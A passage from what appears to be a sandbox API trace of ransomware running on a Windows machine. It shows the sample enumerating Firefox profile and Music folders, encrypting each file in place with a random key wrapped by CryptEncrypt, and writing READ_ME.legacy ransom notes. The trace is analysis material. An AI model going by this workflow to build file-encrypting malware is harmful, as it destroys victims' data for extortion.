"c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b70 [0182.046] GetFileSizeEx (in: hFile=0x1b70, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=14047) returned 1 [0182.046] ReadFile (in: hFile=0x1b70, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x36df, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x36df, lpOverlapped=0x0) returned 1 [0182.066] SetFilePointer (in: hFile=0x1b70, lDistanceToMove=-14047, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.066] WriteFile (in: hFile=0x1b70, lpBuffer=0x30da720*, nNumberOfBytesToWrite=0x36df, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da720*, lpNumberOfBytesWritten=0x2e1f9bc*=0x36df, lpOverlapped=0x0) returned 1 [0182.066] SetFilePointer (in: hFile=0x1b70, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x36df [0182.066] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.067] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.067] WriteFile (in: hFile=0x1b70, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.067] WriteFile (in: hFile=0x1b70, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.067] CloseHandle (hObject=0x1b70) returned 1 [0182.078] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0182.078] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0182.078] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js", dwFileAttributes=0x80) returned 1 [0182.083] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b70 [0182.083] GetFileSizeEx (in: hFile=0x1b70, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=7991) returned 1 [0182.083] ReadFile (in: hFile=0x1b70, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1f37, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1f37, lpOverlapped=0x0) returned 1 [0182.087] SetFilePointer (in: hFile=0x1b70, lDistanceToMove=-7991, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.087] WriteFile (in: hFile=0x1b70, lpBuffer=0x30d8f78*, nNumberOfBytesToWrite=0x1f37, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8f78*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1f37, lpOverlapped=0x0) returned 1 [0182.087] SetFilePointer (in: hFile=0x1b70, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1f37 [0182.087] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.087] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.087] WriteFile (in: hFile=0x1b70, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.087] WriteFile (in: hFile=0x1b70, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.088] CloseHandle (hObject=0x1b70) returned 1 [0182.089] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c1abf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xf9387cae, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4330 [0182.089] FindNextFileW (in: hFindFile=0x30d4330, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c1abf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xf9387cae, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.089] FindNextFileW (in: hFindFile=0x30d4330, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41de8bd2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="permanent", cAlternateFileName="PERMAN~1")) returned 1 [0182.089] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b74 [0182.091] WriteFile (in: hFile=0x1b74, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0182.092] CloseHandle (hObject=0x1b74) returned 1 [0182.092] FindNextFileW (in: hFindFile=0x30d4330, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9387cae, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf9387cae, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf9387cae, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0182.092] FindNextFileW (in: hFindFile=0x30d4330, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9387cae, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf9387cae, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf9387cae, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0182.092] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\teZLuD\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d31e930, ftCreationTime.dwHighDateTime=0x1d4d294, ftLastAccessTime.dwLowDateTime=0x19c59c0, ftLastAccessTime.dwHighDateTime=0x1d4d1fa, ftLastWriteTime.dwLowDateTime=0xfa1a3e9d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4630 [0182.092] FindNextFileW (in: hFindFile=0x30d4630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d31e930, ftCreationTime.dwHighDateTime=0x1d4d294, ftLastAccessTime.dwLowDateTime=0x19c59c0, ftLastAccessTime.dwHighDateTime=0x1d4d1fa, ftLastWriteTime.dwLowDateTime=0xfa1a3e9d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.092] FindNextFileW (in: hFindFile=0x30d4630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x357e95f0, ftCreationTime.dwHighDateTime=0x1d4c9bc, ftLastAccessTime.dwLowDateTime=0x8aa0e2f0, ftLastAccessTime.dwHighDateTime=0x1d4c8c1, ftLastWriteTime.dwLowDateTime=0x8aa0e2f0, ftLastWriteTime.dwHighDateTime=0x1d4c8c1, nFileSizeHigh=0x0, nFileSizeLow=0x7d0f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="EQJbkQ.m4a", cAlternateFileName="")) returned 1 [0182.092] FindNextFileW (in: hFindFile=0x30d4630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bc51a50, ftCreationTime.dwHighDateTime=0x1d4c681, ftLastAccessTime.dwLowDateTime=0x14af47d0, ftLastAccessTime.dwHighDateTime=0x1d4cd7b, ftLastWriteTime.dwLowDateTime=0x14af47d0, ftLastWriteTime.dwHighDateTime=0x1d4cd7b, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="MPBkPH.m4a", cAlternateFileName="")) returned 1 [0182.092] FindNextFileW (in: hFindFile=0x30d4630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x415c21d0, ftCreationTime.dwHighDateTime=0x1d4c8e5, ftLastAccessTime.dwLowDateTime=0xc22f7d00, ftLastAccessTime.dwHighDateTime=0x1d4d5c6, ftLastWriteTime.dwLowDateTime=0xc22f7d00, ftLastWriteTime.dwHighDateTime=0x1d4d5c6, nFileSizeHigh=0x0, nFileSizeLow=0x13c9c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="pOUXGN.wav", cAlternateFileName="")) returned 1 [0182.092] FindNextFileW (in: hFindFile=0x30d4630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1a3e9d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfa1a3e9d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfa1a3e9d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0182.092] FindNextFileW (in: hFindFile=0x30d4630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4301cf10, ftCreationTime.dwHighDateTime=0x1d4c612, ftLastAccessTime.dwLowDateTime=0xc9504690, ftLastAccessTime.dwHighDateTime=0x1d4c82a, ftLastWriteTime.dwLowDateTime=0xc9504690, ftLastWriteTime.dwHighDateTime=0x1d4c82a, nFileSizeHigh=0x0, nFileSizeLow=0x143aa, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="wfUSNjFsK7mYn.m4a", cAlternateFileName="WFUSNJ~1.M4A")) returned 1 [0182.092] FindNextFileW (in: hFindFile=0x30d4630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32005a20, ftCreationTime.dwHighDateTime=0x1d4cc79, ftLastAccessTime.dwLowDateTime=0x95b004d0, ftLastAccessTime.dwHighDateTime=0x1d4d1ba, ftLastWriteTime.dwLowDateTime=0x95b004d0, ftLastWriteTime.dwHighDateTime=0x1d4d1ba, nFileSizeHigh=0x0, nFileSizeLow=0x14751, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="XILR9T6MC-ufbea7i.wav", cAlternateFileName="XILR9T~1.WAV")) returned 1 [0182.092] FindNextFileW (in: hFindFile=0x30d4630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb54761f0, ftCreationTime.dwHighDateTime=0x1d4cf29, ftLastAccessTime.dwLowDateTime=0x92993be0, ftLastAccessTime.dwHighDateTime=0x1d4ce6d, ftLastWriteTime.dwLowDateTime=0x92993be0, ftLastWriteTime.dwHighDateTime=0x1d4ce6d, nFileSizeHigh=0x0, nFileSizeLow=0x18c78, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="ZKdhuoe i2.mp3", cAlternateFileName="ZKDHUO~1.MP3")) returned 1 [0182.093] FindNextFileW (in: hFindFile=0x30d4630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb54761f0, ftCreationTime.dwHighDateTime=0x1d4cf29, ftLastAccessTime.dwLowDateTime=0x92993be0, ftLastAccessTime.dwHighDateTime=0x1d4ce6d, ftLastWriteTime.dwLowDateTime=0x92993be0, ftLastWriteTime.dwHighDateTime=0x1d4ce6d, nFileSizeHigh=0x0, nFileSizeLow=0x18c78, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="ZKdhuoe i2.mp3", cAlternateFileName="ZKDHUO~1.MP3")) returned 0 [0182.093] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0182.093] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0182.093] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\teZLuD\\ZKdhuoe i2.mp3", dwFileAttributes=0x80) returned 1 [0182.093] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\teZLuD\\ZKdhuoe i2.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\0pd24csq3_ufoerj\\4bxh--t\\7eko9q-8ckl11pmn\\tezlud\\zkdhuoe i2.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b78 [0182.093] GetFileSizeEx (in: hFile=0x1b78, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=101496) returned 1 [0182.094] ReadFile (in: hFile=0x1b78, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x18c78, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x18c78, lpOverlapped=0x0) returned 1 [0182.095] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=-101496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.095] WriteFile (in: hFile=0x1b78, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x18c78, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18c78, lpOverlapped=0x0) returned 1 [0182.095] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18c78 [0182.095] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.095] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.095] WriteFile (in: hFile=0x1b78, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.096] WriteFile (in: hFile=0x1b78, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.096] CloseHandle (hObject=0x1b78) returned 1 [0182.097] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0182.097] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0182.097] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\teZLuD\\XILR9T6MC-ufbea7i.wav", dwFileAttributes=0x80) returned 1 [0182.097] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\teZLuD\\XILR9T6MC-ufbea7i.wav" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\0pd24csq3_ufoerj\\4bxh--t\\7eko9q-8ckl11pmn\\tezlud\\xilr9t6mc-ufbea7i.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b78 [0182.098] GetFileSizeEx (in: hFile=0x1b78, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=83793) returned 1 [0182.098] ReadFile (in: hFile=0x1b78, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x14751, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x14751, lpOverlapped=0x0) returned 1 [0182.099] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=-83793, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.099] WriteFile (in: hFile=0x1b78, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x14751, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14751, lpOverlapped=0x0) returned 1 [0182.099] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14751 [0182.099] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.100] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.100] WriteFile (in: hFile=0x1b78, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.100] WriteFile (in: hFile=0x1b78, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.100] CloseHandle (hObject=0x1b78) returned 1 [0182.101] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0182.101] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0182.101] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\teZLuD\\wfUSNjFsK7mYn.m4a", dwFileAttributes=0x80) returned 1 [0182.101] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\teZLuD\\wfUSNjFsK7mYn.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\0pd24csq3_ufoerj\\4bxh--t\\7eko9q-8ckl11pmn\\tezlud\\wfusnjfsk7myn.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b78 [0182.102] GetFileSizeEx (in: hFile=0x1b78, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=82858) returned 1 [0182.102] ReadFile (in: hFile=0x1b78, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x143aa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x143aa, lpOverlapped=0x0) returned 1 [0182.103] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=-82858, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.103] WriteFile (in: hFile=0x1b78, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x143aa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x143aa, lpOverlapped=0x0) returned 1 [0182.103] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x143aa [0182.103] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.103] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.104] WriteFile (in: hFile=0x1b78, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.104] WriteFile (in: hFile=0x1b78, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.104] CloseHandle (hObject=0x1b78) returned 1 [0182.105] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0182.105] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0182.105] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\teZLuD\\pOUXGN.wav", dwFileAttributes=0x80) returned 1 [0182.106] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\teZLuD\\pOUXGN.wav" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\0pd24csq3_ufoerj\\4bxh--t\\7eko9q-8ckl11pmn\\tezlud\\pouxgn.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b78 [0182.106] GetFileSizeEx (in: hFile=0x1b78, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=81052) returned 1 [0182.106] 